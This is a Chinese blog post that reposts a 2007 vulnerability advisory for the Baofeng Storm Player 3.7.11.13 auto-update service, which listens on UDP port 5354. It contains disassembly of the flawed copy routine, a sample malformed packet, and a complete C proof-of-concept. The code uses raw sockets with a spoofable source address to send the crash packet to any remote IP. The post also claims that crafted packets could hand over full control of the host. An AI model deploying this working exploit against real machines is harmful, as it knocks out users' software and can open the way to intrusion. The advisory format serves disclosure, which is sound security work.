暴风影音3.7.11.13 爆远程拒绝服务漏洞

传说中的《暴风影音3》新版本爆漏洞,这次很夸张,远程拒绝服务.
起因是暴风影音自动更新程序会在远程监听一个端口,如果向其发送畸形数据包,就会导致自动更新程序崩溃;如果对其发送精心构造过的数据包,则足以导致用户主机在不知情的情况下被完全控制.
以下是帖子全文:

CISVul20071128

暴风影音3.7.11.13 DOS Vul

|=—————-[ 暴风影音3.7.11.13 DOS Vulnerabilities ]——-=|
|=—————————————————————–=|
|=—————=[ TuTu<[email protected]> ]=—————————–=|
|=—————————————————————–=|
|=—————=[ Copyright:www.cisrg.cn ]=———————-=|

–] 介绍
暴风影音是一款播放软件,经过测试,暴风影音3.7.11.13存在一个远程DDOS漏洞。
官方网站:http://www.baofeng.com/

–] Author:TuTu

–] 漏洞分析

/*++
暴风影音3 Build version : 3.7.11.13 
Test version : 3.7.11.13,自从带了一个自动升级服务stormlive.exe之后,
会在本地开启一个UDP端口5354,向端口发送恶意封包可造成stormlive崩溃

0041DEE0 /$ 8B4424 08 mov eax, dword ptr [esp+8]
0041DEE4 |. 53 push ebx
0041DEE5 |. 8BD9 mov ebx, ecx
0041DEE7 |. 56 push esi
0041DEE8 |. 33C9 xor ecx, ecx
0041DEEA |. 57 push edi
0041DEEB |. 8943 08 mov dword ptr [ebx+8], eax
0041DEEE |. 6A 04 push 4 ; /size = 4
0041DEF0 |. C1E8 07 shr eax, 7 ; |
0041DEF3 |. 40 inc eax ; |
0041DEF4 |. 894B 04 mov dword ptr [ebx+4], ecx ; |
0041DEF7 |. C1E0 07 shl eax, 7 ; |
0041DEFA |. 50 push eax ; |nitems 
0041DEFB |. 884B 10 mov byte ptr [ebx+10], cl ; |
0041DEFE |. C703 C0524300 mov dword ptr [ebx], 004352C0 ; |
0041DF04 |. 8943 0C mov dword ptr [ebx+C], eax ; |
0041DF07 |. FF15 78154300 call dword ptr [<&MSVCRT.calloc>] ; \calloc
0041DF0D |. 8B4B 08 mov ecx, dword ptr [ebx+8]
0041DF10 |. 8B7424 18 mov esi, dword ptr [esp+18]
0041DF14 |. C1E1 02 shl ecx, 2
0041DF17 |. 8943 04 mov dword ptr [ebx+4], eax
0041DF1A |. 8BF8 mov edi, eax
0041DF1C |. 8BC1 mov eax, ecx
0041DF1E |. 83C4 08 add esp, 8
0041DF21 |. C1E9 02 shr ecx, 2
0041DF24 |. F3:A5 rep movs dword ptr es:[edi], dword p> 溢出
0041DF26 |. 8BC8 mov ecx, eax
0041DF28 |. 83E1 03 and ecx, 3
0041DF2B |. F3:A4 rep movs byte ptr es:[edi], byte ptr>
0041DF2D |. 8BCB mov ecx, ebx
0041DF2F |. E8 3C140000 call 0041F370
0041DF34 |. 5F pop edi
0041DF35 |. 8BC3 mov eax, ebx
0041DF37 |. 5E pop esi
0041DF38 |. 5B pop ebx
0041DF39 \. C2 0800 retn 8

封包例子
00CAFF84 4B 55 44 50 01 00 55 55 55 00 55 55 55 00 KUDP .UUU.UUU.
由于没有对封包中取得的数据进行判断.数据超大导致申请内存失败,后面的内存数据复制导致异常.

--*/

–] exploit POC

#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

// Set the packing to a 1 byte boundary
#include <pshpack1.h>

//
// Define the IPv4 header. Make the version and length field one
// character since we can't declare two 4 bit fields without
// the compiler aligning them on at least a 1 byte boundary.
//
typedef struct ip_hdr
{
unsigned char ip_verlen; // 4-bit IPv4 version
// 4-bit header length (in 32-bit words)
unsigned char ip_tos; // IP type of service
unsigned short ip_totallength; // Total length
unsigned short ip_id; // Unique identifier
unsigned short ip_offset; // Fragment offset field
unsigned char ip_ttl; // Time to live
unsigned char ip_protocol; // Protocol(TCP,UDP etc)
unsigned short ip_checksum; // IP checksum
unsigned int ip_srcaddr; // Source address
unsigned int ip_destaddr; // Source address
} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;

//
// Define the UDP header
//
typedef struct udp_hdr
{
unsigned short src_portno; // Source port no.
unsigned short dst_portno; // Dest. port no.
unsigned short udp_length; // Udp packet length
unsigned short udp_checksum; // Udp checksum (optional)
} UDP_HDR, *PUDP_HDR;

// Restore the byte boundary back to the previous value
#include <poppack.h>
//

// Function: checksum
//
// Description:
// This function calculates the 16-bit one's complement sum
// for the supplied buffer.
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;

while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);

return (USHORT)(~cksum);
}

//
// Function: InitIpv4Header
//
// Description:
// Initialize the IPv4 header with the version, header length,
// total length, ttl, protocol value, and source and destination
// addresses.
//
int InitIpv4Header(
char *buf,
char *src,
char *dest,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;

v4hdr = (IPV4_HDR *)buf;

v4hdr->ip_verlen = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long));
v4hdr->ip_tos = 0;
v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen);
v4hdr->ip_id = 0;
v4hdr->ip_offset = 0;
v4hdr->ip_ttl = 128;
v4hdr->ip_protocol = 0x11;
v4hdr->ip_checksum = 0;
v4hdr->ip_srcaddr = inet_addr(src);
v4hdr->ip_destaddr = inet_addr(dest);

v4hdr->ip_checksum = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR));

return sizeof(IPV4_HDR);
}

//
// Function: ComputeUdpPseudoHeaderChecksumV4
//
// Description:
// Compute the UDP pseudo header checksum. The UDP checksum is based
// on the following fields:
// o source IP address
// o destination IP address
// o 8-bit zero field
// o 8-bit protocol field
// o 16-bit UDP length
// o 16-bit source port
// o 16-bit destination port
// o 16-bit UDP packet length
// o 16-bit UDP checksum (zero)
// o UDP payload (padded to the next 16-bit boundary)
// This routine copies these fields to a temporary buffer and computes
// the checksum from that.
//
void ComputeUdpPseudoHeaderChecksumV4(
void *iphdr,
UDP_HDR *udphdr,
char *payload,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;
unsigned long zero=0;
char buf[0x10000],
*ptr=NULL;
int chksumlen=0,
i;

ptr = buf;

v4hdr = (IPV4_HDR *)iphdr;

// Include the source and destination IP addresses
memcpy(ptr, &v4hdr->ip_srcaddr, sizeof(v4hdr->ip_srcaddr));
ptr += sizeof(v4hdr->ip_srcaddr);
chksumlen += sizeof(v4hdr->ip_srcaddr);

memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr));
ptr += sizeof(v4hdr->ip_destaddr);
chksumlen += sizeof(v4hdr->ip_destaddr);

// Include the 8 bit zero field
memcpy(ptr, &zero, 1);
ptr++;
chksumlen += 1;

// Protocol
memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol));
ptr += sizeof(v4hdr->ip_protocol);
chksumlen += sizeof(v4hdr->ip_protocol);

// UDP length
memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
ptr += sizeof(udphdr->udp_length);
chksumlen += sizeof(udphdr->udp_length);

// UDP source port
memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno));
ptr += sizeof(udphdr->src_portno);
chksumlen += sizeof(udphdr->src_portno);

// UDP destination port
memcpy(ptr, &udphdr->dst_portno, sizeof(udphdr->dst_portno));
ptr += sizeof(udphdr->dst_portno);
chksumlen += sizeof(udphdr->dst_portno);

// UDP length again
memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
ptr += sizeof(udphdr->udp_length);
chksumlen += sizeof(udphdr->udp_length);

// 16-bit UDP checksum, zero
memcpy(ptr, &zero, sizeof(unsigned short));
ptr += sizeof(unsigned short);
chksumlen += sizeof(unsigned short);

// payload
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;

// pad to next 16-bit boundary
for(i=0 ; i < payloadlen%2 ; i++, ptr++)
{
printf("pad one byte\n");
*ptr = 0;
ptr++;
chksumlen++;
}

// Compute the checksum and put it in the UDP header
udphdr->udp_checksum = checksum((USHORT *)buf, chksumlen);

return;
}

//
// Function: InitUdpHeader
//
// Description:
// Setup the UDP header which is fairly simple. Grab the ports and
// stick in the total payload length.
//
int InitUdpHeader(
char *buf,
int srcprt,
int dstprt,
int payloadlen
)
{
UDP_HDR *udphdr=NULL;

udphdr = (UDP_HDR *)buf;
udphdr->src_portno = htons(srcprt);
udphdr->dst_portno = htons(dstprt);
udphdr->udp_length = htons(sizeof(UDP_HDR) + payloadlen);

return sizeof(UDP_HDR);
}

//
// Function: sendudp
//
// Description:
// Send the udp packets with RAW SOCKET
//
int sendudp(char *srcip, char *dstip, int srcprt, int dstprt, char *buf, int bufsize)
{
WSADATA wsd;
SOCKET s;
char sendbuf[0x10000]={0};
int iphdrlen,
allsize,
udphdrlen;
int optlevel,
option,
optval,
rc;
SOCKADDR_IN ReceiverAddr;

ReceiverAddr.sin_family = AF_INET;
ReceiverAddr.sin_port = htons(dstprt);
ReceiverAddr.sin_addr.s_addr = inet_addr(dstip);

allsize = sizeof(IPV4_HDR) + sizeof(UDP_HDR) + bufsize;
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("WSAStartup() failed: %d\n", GetLastError());
return -1;
}

s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if (s == INVALID_SOCKET)
{
fprintf(stderr, "socket failed: %d\n", WSAGetLastError());
return -1;
}

// Enable the IP header include option
optval = 1;
optlevel = IPPROTO_IP;
option = IP_HDRINCL;
rc = setsockopt(s, optlevel, option, (char *)&optval, sizeof(optval));
if (rc == SOCKET_ERROR)
{
fprintf(stderr, "setsockopt: IP_HDRINCL failed: %d\n", WSAGetLastError());
return -1;
}

// Initialize the v4 header
iphdrlen = InitIpv4Header(
sendbuf,
srcip,
dstip,
bufsize
);

// Initialize the UDP header
udphdrlen = InitUdpHeader(
&sendbuf[iphdrlen],
srcprt,
dstprt,
bufsize
);

// Compute the UDP checksum
ComputeUdpPseudoHeaderChecksumV4(
sendbuf,
(UDP_HDR *)&sendbuf[iphdrlen],
buf,
bufsize
);

// Copy the payload to the end of the header
memcpy(&sendbuf[iphdrlen + udphdrlen], buf, bufsize);

rc = sendto(
s,
sendbuf,
allsize,
0,
(const struct sockaddr*)&ReceiverAddr,
sizeof(ReceiverAddr)
);
if (rc == SOCKET_ERROR)
{
printf("sendto() failed: %d\n", WSAGetLastError());
}
else
{
printf("sent %d bytes\n", rc);
}
closesocket(s) ;
WSACleanup() ;

return 0;
}

int main(int argc, char **argv)
{
if (argc < 3) {
printf("%s <LOCAL ip> <Remote ip>\n", argv[0]);
return 0;
}

printf("\n 暴风影音3 stormlive.exe DDOS \n");
printf("www.CISRG.cn \n");
printf("E-mail: [email protected]\n");
printf("Copyright (c) 2007 .: Tutu :.\n");

sendudp(argv[1], argv[2], 5354, 5354, "KUDP\x01\x00\x55\x55\x55\x00\x55\x55\x55\x00", 14);
getchar();
return 0;
}

相关日志

发表评论